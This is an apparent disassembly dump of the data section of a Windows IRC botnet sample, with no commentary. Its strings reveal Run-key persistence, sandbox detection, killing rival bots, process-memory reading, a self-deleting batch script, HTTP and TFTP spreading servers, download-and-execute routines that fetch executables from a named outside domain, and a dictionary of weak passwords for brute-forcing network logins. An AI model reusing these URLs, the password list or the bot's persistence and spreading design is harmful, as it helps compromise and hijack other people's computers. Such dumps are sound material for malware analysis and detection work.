		dd offset asc_41FA10	; "<<="
		dd offset asc_41FA0C	; "&="
		dd offset asc_41FA08	; "|="
		dd offset asc_41FA04	; "^="
		dd offset aVftable	; "`vftable'"
		dd offset aVbtable	; "`vbtable'"
		dd offset aVcall	; "`vcall'"
		dd offset aTypeof	; "`typeof'"
		dd offset aLocalStaticGua ; "`local static guard'"
		dd offset aString	; "`string'"
		dd offset aVbaseDestructo ; "`vbase destructor'"
		dd offset aVectorDeleting ; "`vector deleting destructor'"
		dd offset aDefaultConstru ; "`default constructor closure'"
		dd offset aScalarDeleting ; "`scalar deleting destructor'"
		dd offset aVectorConstruc ; "`vector constructor iterator'"
		dd offset aVectorDestruct ; "`vector destructor	iterator'"
		dd offset aVectorVbaseCon ; "`vector vbase constructor iterator'"
		dd offset aVirtualDisplac ; "`virtual displacement map'"
		dd offset aEhVectorConstr ; "`eh vector	constructor iterator'"
		dd offset aEhVectorDestru ; "`eh vector	destructor iterator'"
		dd offset aEhVectorVbas_0 ; "`eh vector	vbase constructor iterator'"
		dd offset aCopyConstructo ; "`copy constructor closure'"
		dd offset aUdtReturning	; "`udt	returning'"
		dd offset aEh		; "`EH"
		dd offset aRtti		; "`RTTI"
		dd offset aLocalVftable	; "`local vftable'"
		dd offset aLocalVftableCo ; "`local vftable constructor	closure'"
		dd offset aNew		; " new[]"
		dd offset aDelete	; " delete[]"
		dd offset aOmniCallsig	; "`omni callsig'"
		dd offset aPlacementDel_0 ; "`placement	delete closure'"
		dd offset aPlacementDelet ; "`placement	delete[] closure'"
		dd offset aManagedVecto_0 ; "`managed vector constructor iterator'"
		dd offset aManagedVectorD ; "`managed vector destructor	iterator'"
		dd offset aEhVectorCopyCo ; "`eh vector	copy constructor iterator'"
		dd offset aEhVectorVbaseC ; "`eh vector	vbase copy constructor itera"...
		dd offset aDynamicInitial ; "`dynamic initializer for '"
		dd offset aDynamicAtexitD ; "`dynamic atexit destructor	for '"
		dd offset aVectorCopyCons ; "`vector copy constructor iterator'"
		dd offset aVectorVbaseCop ; "`vector vbase copy	constructor iterator"...
		dd offset aManagedVectorC ; "`managed vector copy constructor iterat"...
		dd offset aLocalStaticThr ; "`local static thread guard'"
		dd offset byte_4202A1
		dd 86808006h, 808180h, 86031000h, 80828680h, 45050514h
		dd 85854545h, 585h, 50803030h, 8008880h, 38272800h, 805750h
		dd 30370007h, 88505030h, 20000000h, 80888028h, 80h
aHHhhXppwpp	db '`h`hhh',8,8,7,'xppwpp',8,8,0
		dw 800h
		dd 7000800h, 8
aGetprocesswind	db 'GetProcessWindowStation',0 ; DATA XREF: sub_4190F4+C1o
aGetuserobjecti	db 'GetUserObjectInformationA',0 ; DATA XREF: sub_4190F4+A9o
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_4190F4+6Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_4190F4+58o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_4190F4+46o
aUser32_dll	db 'USER32.DLL',0       ; DATA XREF: sub_4190F4+28o
		align 4
off_41FD6C	dd offset sub_41933C	; DATA XREF: sub_411A79r sub_411A79+9o ...
		dd 2 dup(4192DBh), 78656E5Fh, 74666174h, 7265h,	676F6C5Fh
		dd 62h,	6E795Fh, 31795Fh, 30795Fh, 78657266h, 70h, 646F6D66h
		dd 0
a_hypot		db '_hypot',0
		align 10h
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 10h
aFabs		db 'fabs',0
		align 4
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
dbl_41FDF0	dq 0.0			; DATA XREF: sub_419634+143r
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 10h
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_41A564:loc_41A63Co
		align 10h
dbl_41FE40	dq 4.195835e6		; DATA XREF: sub_41AEA4+Fr
dbl_41FE48	dq 3.145727e6		; DATA XREF: sub_41AEA4+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41AEE0+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41AEE0o
		align 4
aConout		db 'CONOUT$',0          ; DATA XREF: sub_41AF3B+Eo
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41C5C1:loc_41C6F0o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_41C5C1+103o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_41C5C1+F4o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41C5C1+DCo
		align 10h
aBadAllocation	db 'bad allocation',0   ; DATA XREF: .data:off_423000o
					; .data:00423030o ...
		align 10h
aOpenthread	db 'OpenThread',0       ; DATA XREF: sub_401000+28o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_401000+2Do
					; sub_401C17+38o ...
		align 4
aOpenprocess	db 'OpenProcess',0      ; DATA XREF: sub_401000+42o
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_401000+52o
					; sub_401C17+2Bo
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_401000+62o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_401000+72o
		align 4
aModule32first	db 'Module32First',0    ; DATA XREF: sub_401000+82o
					; sub_401C17+49o
		align 4
aModule32next	db 'Module32Next',0     ; DATA XREF: sub_401000+92o
					; sub_401C17+57o
		align 4
aThread32first	db 'Thread32First',0    ; DATA XREF: sub_401000+A2o
		align 4
aThread32next	db 'Thread32Next',0     ; DATA XREF: sub_401000+B2o
		align 4
aReadprocessmem	db 'ReadProcessMemory',0 ; DATA XREF: sub_401000+C2o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_401000+D2o
		align 10h
aPsapi_dll	db 'psapi.dll',0        ; DATA XREF: sub_401000+D7o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_401000+1FCo
					; sub_401000+281o
		align 10h
aSystem		db 'System',0           ; DATA XREF: sub_401000+2C0o
		align 4
aBotKilledS	db 'Bot Killed: %s',0   ; DATA XREF: sub_401000+37Eo
		align 4
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_40140A+36o
					; sub_402833+13Co ...
		align 4
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',0
					; DATA XREF: sub_40140A+3Do
		align 4
aSoftwareMicr_1	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx',0
					; DATA XREF: sub_40140A+44o
aSoftwareMicr_2	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices',0
					; DATA XREF: sub_40140A+4Bo
		align 4
aSystemControls	db 'SYSTEM\ControlSet001\Services\Eventlog\System',0
					; DATA XREF: sub_40158F+27o
		align 4
aSS_2		db '%s\%s',0            ; DATA XREF: sub_40158F+DDo
					; sub_40312D+4Eo ...
		align 10h
aEventmessagefi	db 'EventMessageFile',0 ; DATA XREF: sub_40158F+110o
		align 4
aSC		db '%s%c',0             ; DATA XREF: sub_401ACE+4Bo
					; sub_404844+150o
		align 4
aCInsidetm	db 'C:\InsideTm',0      ; DATA XREF: sub_401B44+1Eo
aGetwindowlonga	db 'GetWindowLongA',0   ; DATA XREF: sub_401BBC+10o
		align 4
aUser32		db 'user32',0           ; DATA XREF: sub_401BBC+15o
		align 10h
aSandboxie	db 'Sandboxie',0        ; DATA XREF: sub_401C17+1Eo
		align 4
aListTTooLong	db 'list<T> too long',0 ; DATA XREF: sub_401FC0+2Bo
					; sub_408525+2Bo
		align 10h
off_420120	dd offset nullsub_302	; DATA XREF: sub_401E54+23o
aNtLanManager_	db 'NT LAN Manager *.*',0 ; DATA XREF: sub_4023EB+1B6o
		align 4
aWindows2000Lan	db 'Windows 2000 LAN Manager*',0 ; DATA XREF: sub_4023EB+1CEo
		align 4
aWindows5_0	db 'Windows 5.0',0      ; DATA XREF: sub_4023EB+1E3o
aWindows5_1	db 'Windows 5.1',0      ; DATA XREF: sub_4023EB+1FDo
aWindowsServer2	db 'Windows Server 2003 *',0 ; DATA XREF: sub_4023EB+217o
		align 4
a@echoOff1DelSI	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_4026D7+7Eo
		db ':1',0Dh,0Ah
		db 'del "%s"',0Dh,0Ah
		db 'if exist "%s" goto 1',0Dh,0Ah
		db 'del "%%0"',0Dh,0Ah,0
		align 10h
aSTmpIIICCC_bat	db '%s\tmp-%i%i%i-%c%c%c.bat',0 ; DATA XREF: sub_4026D7+FCo
		align 4
aW:					; DATA XREF: sub_4026D7+110o
		unicode	0, <w>,0
aS		db '%s',0               ; DATA XREF: sub_4026D7+12Bo
					; sub_402E6D+75o ...
		align 4
aRm		db 'RM',0               ; DATA XREF: sub_402833+F0o
					; sub_4049E1+327o
		align 4
aQuitSYouKilled	db 'QUIT :%s YOU KILLED ME :< --UPDATED',0Dh,0Ah,0
					; DATA XREF: sub_402833+16Co
		align 10h
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_402A2D+56o
					; .text:00409FBDo ...
aVis		db 'VIS',0              ; DATA XREF: sub_402AAB+42o
a2k3		db '2K3',0              ; DATA XREF: sub_402AAB+55o
aXp		db 'XP',0               ; DATA XREF: sub_402AAB+62o
		align 4
a2k		db '2K',0               ; DATA XREF: sub_402AAB+6Eo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_402AAB+81o
		align 10h
a98		db '98',0               ; DATA XREF: sub_402AAB+8Eo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_402AAB+A0o
		align 4
a95		db '95',0               ; DATA XREF: sub_402AAB+ADo
		align 4
aUnk		db 'UNK',0              ; DATA XREF: sub_402AAB:loc_402B5Fo
a192		db '192*',0             ; DATA XREF: sub_402C36+32o
		align 4
a10_		db '10.*',0             ; DATA XREF: sub_402C36+49o
		align 10h
a111_		db '111.*',0            ; DATA XREF: sub_402C36+5Eo
		align 4
a15_		db '15.*',0             ; DATA XREF: sub_402C36+73o
		align 10h
a16_		db '16.*',0             ; DATA XREF: sub_402C36+84o
		align 4
a101		db '101*',0             ; DATA XREF: sub_402C36+95o
		align 10h
a110		db '110*',0             ; DATA XREF: sub_402C36+A6o
		align 4
a112		db '112*',0             ; DATA XREF: sub_402C36+B7o
		align 10h
a170_65__	db '170.65.*.*',0       ; DATA XREF: sub_402C36+C8o
		align 4
a11_		db '11.*',0             ; DATA XREF: sub_402C36+D9o
		align 4
a172		db '172*',0             ; DATA XREF: sub_402C36+EAo
		align 4
aSX		db '%s%X',0             ; DATA XREF: sub_402E6D+10Bo
byte_4202A1	db 3 dup(0)		; DATA XREF: sub_402FC8+28o
					; sub_4049E1+34Bo ...
asc_4202A4:				; DATA XREF: sub_40300B+89o
					; sub_403718+2Co ...
		unicode	0, < >,0
aGet		db 'GET',0              ; DATA XREF: sub_403249+B3o
aQue?		db 'Que?',0             ; DATA XREF: sub_403249+CAo
					; sub_403249+2FFo
		align 8
aHttp1_1501NotI	db 'HTTP/1.1 501 Not Implemented',0Dh,0Ah ; DATA XREF: sub_403249+FCo
		db 'Content-Length: %d',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
aSSSS		db '%s\%s\%s%s',0       ; DATA XREF: sub_403249+205o
		align 4
aSSS_1		db '%s\%s\%s',0         ; DATA XREF: sub_403249+1D2o
		align 4
aHttp1_1200OkCo	db 'HTTP/1.1 200 ok',0Dh,0Ah ; DATA XREF: sub_403249+33Ao
		db 'Content-Length: %d',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttpTransferD_	db 'HTTP: Transfer: %d.%d.%d.%d (N/A). %d Total Sends.',0
					; DATA XREF: sub_403249+45Do
		align 4
aHttpTransfer_0	db 'HTTP: Transfer: %d.%d.%d.%d (%s). %d Total Sends.',0
					; DATA XREF: sub_403249+489o
		align 4
asc_4203BC	db 0Dh,0Ah,0		; DATA XREF: sub_403718+16o
					; sub_403C7D+73o
		align 10h
asc_4203C0	db 0Dh,0Ah		; DATA XREF: sub_403718+74o
		db 0Dh,0Ah,0
		align 4
asc_4203C8	db '%x',0               ; DATA XREF: sub_4037AC+54o
		align 4
aSS		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_4038C8+42o
					; sub_40393C+1D9o ...
aSS_0		db '%s-%s',0            ; DATA XREF: sub_40393C+280o
		align 4
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_40393C+2FAo
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 4
aSSS		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403DB4+B9o
					; sub_403F55+2D9o
		align 10h
asc_420400	db ' :',0               ; DATA XREF: sub_403F55+79o
					; sub_403F55+546o
		align 4
a001		db '001',0              ; DATA XREF: sub_403F55+362o
aSSSSSS		db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_403F55+3FAo
		db '%s %s %s',0Dh,0Ah,0
		align 10h
a332		db '332',0              ; DATA XREF: sub_403F55+4CCo
					; sub_403F55+5CAo
asc_420424:				; DATA XREF: sub_403F55+581o
					; r69pu5ti:0041FB74o
		unicode	0, <!>,0
asc_420428:				; DATA XREF: sub_403F55:loc_4045D4o
		unicode	0, <;>,0
aS_0		db '-s',0               ; DATA XREF: sub_4046BC+28o
		align 10h
aS_1		db '/s',0               ; DATA XREF: sub_4046BC+40o
		align 4
aQwertyuiopasdf	db 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM',0
					; DATA XREF: sub_404844+21o
		align 4
asc_42046C:				; DATA XREF: sub_404844+62o
					; sub_408B28:loc_408C7Bo
		unicode	0, <[>,0
aSS_1		db '%s%s|',0            ; DATA XREF: sub_404844+8Eo
		align 4
aSp		db '%sP|',0             ; DATA XREF: sub_404844+D9o
		align 10h
aS0I64u		db '%s0%I64u|',0        ; DATA XREF: sub_404844+112o
		align 4
aSI64u		db '%s%I64u|',0         ; DATA XREF: sub_404844+11Co
		align 4
aS_2		db '%s]',0              ; DATA XREF: sub_404844+174o
aFu		db '--fu ',0            ; DATA XREF: sub_4049E1+4Bo
		align 4
aSSS_0		db '%s %s%s',0          ; DATA XREF: sub_4049E1+1BBo
aCGfccx_exe	db 'C:\gfccx.exe',0     ; DATA XREF: sub_4049E1+3A7o
		align 4
aHttpMarvmozlin	db 'http://marvmozlinwildlife.com/gfxdrvr.exe',0
					; DATA XREF: sub_4049E1+3ACo
		align 4
aCSp2_exe	db 'C:\sp2.exe',0       ; DATA XREF: sub_4049E1+3B6o
		align 4
aHttpMarvmozl_0	db 'http://marvmozlinwildlife.com/sp2.exe',0 ; DATA XREF: sub_4049E1+3BBo
		align 10h
		dd 428A2F98h, 71374491h, 0B5C0FBCFh, 0E9B5DBA5h, 3956C25Bh
		dd 59F111F1h, 923F82A4h, 0AB1C5ED5h, 0D807AA98h, 12835B01h
		dd 243185BEh, 550C7DC3h, 72BE5D74h, 80DEB1FEh, 9BDC06A7h
		dd 0C19BF174h, 0E49B69C1h, 0EFBE4786h, 0FC19DC6h, 240CA1CCh
		dd 2DE92C6Fh, 4A7484AAh, 5CB0A9DCh, 76F988DAh, 983E5152h
		dd 0A831C66Dh, 0B00327C8h, 0BF597FC7h, 0C6E00BF3h, 0D5A79147h
		dd 6CA6351h, 14292967h,	27B70A85h, 2E1B2138h, 4D2C6DFCh
		dd 53380D13h, 650A7354h, 766A0ABBh, 81C2C92Eh, 92722C85h
		dd 0A2BFE8A1h, 0A81A664Bh, 0C24B8B70h, 0C76C51A3h, 0D192E819h
		dd 0D6990624h, 0F40E3585h, 106AA070h, 19A4C116h, 1E376C08h
		dd 2748774Ch, 34B0BCB5h, 391C0CB3h, 4ED8AA4Ah, 5B9CCA4Fh
		dd 682E6FF3h, 748F82EEh, 78A5636Fh, 84C87814h, 8CC70208h
		dd 90BEFFFAh, 0A4506CEBh, 0BEF9A3F7h, 0C67178F2h, 6A09E667h
		dd 0BB67AE85h, 3C6EF372h, 0A54FF53Ah, 510E527Fh, 9B05688Ch
		dd 1F83D9ABh, 5BE0CD19h
dword_420640	dd 0D728AE22h		; DATA XREF: sub_405390+318r
dword_420644	dd 428A2F98h		; DATA XREF: sub_405390+31Fr
dword_420648	dd 23EF65CDh		; DATA XREF: sub_405390+548r
dword_42064C	dd 71374491h		; DATA XREF: sub_405390+54Fr
dword_420650	dd 0EC4D3B2Fh		; DATA XREF: sub_405390+772r
dword_420654	dd 0B5C0FBCFh		; DATA XREF: sub_405390+779r
dword_420658	dd 8189DBBCh		; DATA XREF: sub_405390+9B8r
dword_42065C	dd 0E9B5DBA5h		; DATA XREF: sub_405390+9BFr
dword_420660	dd 0F348B538h		; DATA XREF: sub_405390+BFEr
dword_420664	dd 3956C25Bh		; DATA XREF: sub_405390+C09r
dword_420668	dd 0B605D019h		; DATA XREF: sub_405390+E80r
dword_42066C	dd 59F111F1h		; DATA XREF: sub_405390+E87r
dword_420670	dd 0AF194F9Bh		; DATA XREF: sub_405390+10D7r
dword_420674	dd 923F82A4h		; DATA XREF: sub_405390+10DEr
dword_420678	dd 0DA6D8118h		; DATA XREF: sub_405390+1319r
dword_42067C	dd 0AB1C5ED5h		; DATA XREF: sub_405390+1320r
dword_420680	dd 0A3030242h		; DATA XREF: sub_405390+1569r
dword_420684	dd 0D807AA98h		; DATA XREF: sub_405390+1570r
dword_420688	dd 45706FBEh		; DATA XREF: sub_405390+17ABr
dword_42068C	dd 12835B01h		; DATA XREF: sub_405390+17B2r
dword_420690	dd 4EE4B28Ch		; DATA XREF: sub_405390+19F3r
dword_420694	dd 243185BEh		; DATA XREF: sub_405390+19FAr
dword_420698	dd 0D5FFB4E2h		; DATA XREF: sub_405390+1C39r
dword_42069C	dd 550C7DC3h		; DATA XREF: sub_405390+1C40r
dword_4206A0	dd 0F27B896Fh		; DATA XREF: sub_405390+1E91r
dword_4206A4	dd 72BE5D74h		; DATA XREF: sub_405390+1E9Cr
dword_4206A8	dd 3B1696B1h		; DATA XREF: sub_405390+210Dr
dword_4206AC	dd 80DEB1FEh		; DATA XREF: sub_405390+2114r
dword_4206B0	dd 25C71235h		; DATA XREF: sub_405390+236Ar
dword_4206B4	dd 9BDC06A7h		; DATA XREF: sub_405390+2371r
dword_4206B8	dd 0CF692694h		; DATA XREF: sub_405390+25B8r
dword_4206BC	dd 0C19BF174h		; DATA XREF: sub_405390+25BFr
		dd 9EF14AD2h, 0E49B69C1h, 384F25E3h, 0EFBE4786h, 8B8CD5B5h
		dd 0FC19DC6h, 77AC9C65h, 240CA1CCh, 592B0275h, 2DE92C6Fh
		dd 6EA6E483h, 4A7484AAh, 0BD41FBD4h, 5CB0A9DCh,	831153B5h
		dd 76F988DAh, 0EE66DFABh, 983E5152h, 2DB43210h,	0A831C66Dh
		dd 98FB213Fh, 0B00327C8h, 0BEEF0EE4h, 0BF597FC7h, 3DA88FC2h
		dd 0C6E00BF3h, 930AA725h, 0D5A79147h, 0E003826Fh, 6CA6351h
		dd 0A0E6E70h, 14292967h, 46D22FFCh, 27B70A85h, 5C26C926h
		dd 2E1B2138h, 5AC42AEDh, 4D2C6DFCh, 9D95B3DFh, 53380D13h
		dd 8BAF63DEh, 650A7354h, 3C77B2A8h, 766A0ABBh, 47EDAEE6h
		dd 81C2C92Eh, 1482353Bh, 92722C85h, 4CF10364h, 0A2BFE8A1h
		dd 0BC423001h, 0A81A664Bh, 0D0F89791h, 0C24B8B70h, 654BE30h
		dd 0C76C51A3h, 0D6EF5218h, 0D192E819h, 5565A910h, 0D6990624h
		dd 5771202Ah, 0F40E3585h, 32BBD1B8h, 106AA070h,	0B8D2D0C8h
		dd 19A4C116h, 5141AB53h, 1E376C08h, 0DF8EEB99h,	2748774Ch
		dd 0E19B48A8h, 34B0BCB5h, 0C5C95A63h, 391C0CB3h, 0E3418ACBh
		dd 4ED8AA4Ah, 7763E373h, 5B9CCA4Fh, 0D6B2B8A3h,	682E6FF3h
		dd 5DEFB2FCh, 748F82EEh, 43172F60h, 78A5636Fh, 0A1F0AB72h
		dd 84C87814h, 1A6439ECh, 8CC70208h, 23631E28h, 90BEFFFAh
		dd 0DE82BDE9h, 0A4506CEBh, 0B2C67915h, 0BEF9A3F7h, 0E372532Bh
		dd 0C67178F2h, 0EA26619Ch, 0CA273ECEh, 21C0C207h, 0D186B8C7h
		dd 0CDE0EB1Eh, 0EADA7DD6h, 0EE6ED178h, 0F57D4F7Fh, 72176FBAh
		dd 6F067AAh, 0A2C898A6h, 0A637DC5h, 0BEF90DAEh,	113F9804h
		dd 131C471Bh, 1B710B35h, 23047D84h, 28DB77F5h, 40C72493h
		dd 32CAAB7Bh, 15C9BEBCh, 3C9EBE0Ah, 9C100D4Ch, 431D67C4h
		dd 0CB3E42B6h, 4CC5D4BEh, 0FC657E2Ah, 597F299Ch, 3AD6FAECh
		dd 5FCB6FABh, 4A475817h, 6C44198Ch, 0C1059ED8h,	0CBBB9D5Dh
		dd 367CD507h, 629A292Ah, 3070DD17h, 9159015Ah, 0F70E5939h
		dd 152FECD8h, 0FFC00B31h, 67332667h, 68581511h,	8EB44A87h
		dd 64F98FA7h, 0DB0C2E0Dh, 0BEFA4FA4h, 47B5481Dh, 90h dup(0)
byte_420B40	db 8, 0C9h		; DATA XREF: sub_402E6D+8Eo
; ---------------------------------------------------------------------------
		mov	esp, 9E667F3h
		push	3Bh
		cmpsd
		retf	8584h
; ---------------------------------------------------------------------------
		db 0AEh, 67h, 0BBh
		dd 0FE94F82Bh, 3C6EF372h, 5F1D36F1h, 0A54FF53Ah, 0ADE682D1h
		dd 510E527Fh, 2B3E6C1Fh, 9B05688Ch, 0FB41BD6Bh,	1F83D9ABh
		dd 137E2179h, 5BE0CD19h, 90h dup(0)
dword_420DC0	dd 6272h		; DATA XREF: sub_407FE4+40o
aTftpSendComple	db 'TFTP: Send Complete To %s. %d Total Sends',0
					; DATA XREF: sub_407FE4+1A0o
		align 10h
aUpdate		db 'update',0           ; DATA XREF: .text:0041D783o
		align 4
aAd		db 'AD',0               ; DATA XREF: .text:loc_408887o
		align 4
aMozilla5_0	db 'Mozilla/5.0',0      ; DATA XREF: sub_4088D0+33o
aDlDownloadingS	db 'DL: Downloading %s to %s',0 ; DATA XREF: sub_4088D0+51o
		align 4
aFailedBadLocat	db 'Failed; Bad Location.',0 ; DATA XREF: sub_4088D0:loc_408A9Ao
		align 4
aDownloadSIByte	db 'Download %s (%i Bytes) finished in %i seconds (%iKB/s)',0
					; DATA XREF: sub_4088D0+156o
		align 4
aUninstalling	db 'Uninstalling',0     ; DATA XREF: sub_4088D0+1A7o
		align 4
aFailedUpdate	db 'Failed Update',0    ; DATA XREF: sub_4088D0:loc_408AA1o
		align 4
aErrorExecuting	db 'Error Executing',0  ; DATA XREF: sub_4088D0+1EDo
aExecutedS	db 'Executed: %s',0     ; DATA XREF: sub_4088D0+1FCo
		align 4
aBadUrl		db 'Bad URL',0          ; DATA XREF: sub_4088D0:loc_408AE8o
aJ@		db 'Ȇ@',0              ; DATA XREF: .text:0041D792o
					; .data:off_433BCCo
aNcacn_ip_tcp	db 'ncacn_ip_tcp',0     ; DATA XREF: sub_408B28+47o
		align 10h
a50abc2a4574d40	db '50abc2a4-574d-40b3-9d66-ee4fd5fba076',0 ; DATA XREF: sub_408B28+127o
		align 4
asc_420EF8:				; DATA XREF: sub_408B28+17Co
		unicode	0, <]>,0
dword_420EFC	dd 5C0D0A00h		; DATA XREF: sub_408CC5+7Cr
					; sub_4099FF+1Fr
dword_420F00	dd 2E2F5Fh		; DATA XREF: sub_408CC5+8Br
					; sub_4099FF+27r
dword_420F04	dd 0			; DATA XREF: sub_408CC5+90o
					; sub_408CC5+BEo ...
aHttpSDS	db 'http://%s:%d/%s',0  ; DATA XREF: sub_408CC5+22Ao
					; .text:0040968Eo ...
aStaff		db 'staff',0            ; DATA XREF: .data:0042465Co
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: .data:0042465Co
aStudent	db 'student',0          ; DATA XREF: .data:0042465Co
aIntranet	db 'intranet',0         ; DATA XREF: .data:0042465Co
		align 4
aLan		db 'lan',0              ; DATA XREF: .data:0042465Co
aMain		db 'main',0             ; DATA XREF: .data:0042465Co
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: .data:0042465Co
aBlank		db 'blank',0            ; DATA XREF: .data:0042465Co
		align 4
aOffice		db 'office',0           ; DATA XREF: .data:0042465Co
		align 10h
aControl	db 'control',0          ; DATA XREF: .data:0042465Co
aXp_0		db 'xp',0               ; DATA XREF: .data:0042465Co
		align 4
aNokia		db 'nokia',0            ; DATA XREF: .data:0042465Co
		align 4
aHp		db 'hp',0               ; DATA XREF: .data:0042465Co
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: .data:0042465Co
aCompaq		db 'compaq',0           ; DATA XREF: .data:0042465Co
		align 4
aDell		db 'dell',0             ; DATA XREF: .data:0042465Co
		align 10h
aCisco		db 'cisco',0            ; DATA XREF: .data:0042465Co
		align 4
aIbm		db 'ibm',0              ; DATA XREF: .data:0042465Co
aOracle		db 'oracle',0           ; DATA XREF: .data:0042465Co
		align 4
aOrainstall	db 'orainstall',0       ; DATA XREF: .data:0042465Co
		align 10h
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .data:0042465Co
		align 4
aSql		db 'sql',0              ; DATA XREF: .data:0042465Co
aDb1234		db 'db1234',0           ; DATA XREF: .data:0042465Co
		align 10h
aDb2		db 'db2',0              ; DATA XREF: .data:0042465Co
aDb1		db 'db1',0              ; DATA XREF: .data:0042465Co
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .data:0042465Co
		align 4
aData		db 'data',0             ; DATA XREF: .data:0042465Co
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: .data:0042465Co
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: .data:0042465Co
		align 10h
aDbpass		db 'dbpass',0           ; DATA XREF: .data:0042465Co
		align 4
aAccess		db 'access',0           ; DATA XREF: .data:0042465Co
		align 10h
aDatabase	db 'database',0         ; DATA XREF: .data:0042465Co
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .data:0042465Co
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: .data:0042465Co
		align 4
aDomain		db 'domain',0           ; DATA XREF: .data:0042465Co
		align 10h
aHello		db 'hello',0            ; DATA XREF: .data:0042465Co
		align 4
aHell		db 'hell',0             ; DATA XREF: .data:0042465Co
		align 10h
aGod		db 'god',0              ; DATA XREF: .data:0042465Co
aSex		db 'sex',0              ; DATA XREF: .data:0042465Co
aSlut		db 'slut',0             ; DATA XREF: .data:0042465Co
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: .data:0042465Co
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .data:0042465Co
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: .data:0042465Co
		align 4
aBackup		db 'backup',0           ; DATA XREF: .data:0042465Co
		align 4
aTechnical	db 'technical',0        ; DATA XREF: .data:0042465Co
		align 10h
aLoginpass	db 'loginpass',0        ; DATA XREF: .data:0042465Co
		align 4
aLogin		db 'login',0            ; DATA XREF: .data:0042465Co
		align 4
aMary		db 'mary',0             ; DATA XREF: .data:0042465Co
		align 4
aKatie		db 'katie',0            ; DATA XREF: .data:0042465Co
		align 4
aKate		db 'kate',0             ; DATA XREF: .data:0042465Co
		align 4
aGeorge		db 'george',0           ; DATA XREF: .data:0042465Co
		align 4
aEric		db 'eric',0             ; DATA XREF: .data:0042465Co
		align 4
aChris		db 'chris',0            ; DATA XREF: .data:0042465Co
		align 4
aIan		db 'ian',0              ; DATA XREF: .data:0042465Co
aNeil		db 'neil',0             ; DATA XREF: .data:0042465Co
		align 10h
aLee		db 'lee',0              ; DATA XREF: .data:0042465Co
aBrian		db 'brian',0            ; DATA XREF: .data:0042465Co
		align 4
aSusan		db 'susan',0            ; DATA XREF: .data:0042465Co
		align 4
aSue		db 'sue',0              ; DATA XREF: .data:0042465Co
aSam		db 'sam',0              ; DATA XREF: .data:0042465Co
aLuke		db 'luke',0             ; DATA XREF: .data:0042465Co
		align 4
aPeter		db 'peter',0            ; DATA XREF: .data:0042465Co
		align 4
aJohn		db 'john',0             ; DATA XREF: .data:0042465Co
		align 4
aMike		db 'mike',0             ; DATA XREF: .data:0042465Co
		align 4
aBill		db 'bill',0             ; DATA XREF: .data:0042465Co
		align 4
aFred		db 'fred',0             ; DATA XREF: .data:0042465Co
		align 4
aJoe		db 'joe',0              ; DATA XREF: .data:0042465Co
aJen		db 'jen',0              ; DATA XREF: .data:0042465Co
aBob		db 'bob',0              ; DATA XREF: .data:0042465Co
aQwe		db 'qwe',0              ; DATA XREF: .data:0042465Co
aZxc		db 'zxc',0              ; DATA XREF: .data:0042465Co
aAsd		db 'asd',0              ; DATA XREF: .data:0042465Co
aQaz		db 'qaz',0              ; DATA XREF: .data:0042465Co
aWin2000	db 'win2000',0          ; DATA XREF: .data:0042465Co
aWinnt		db 'winnt',0            ; DATA XREF: .data:0042465Co
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: .data:0042465Co
		align 10h
aWin2k		db 'win2k',0            ; DATA XREF: .data:0042465Co
		align 4
aWin98		db 'win98',0            ; DATA XREF: .data:0042465Co
		align 10h
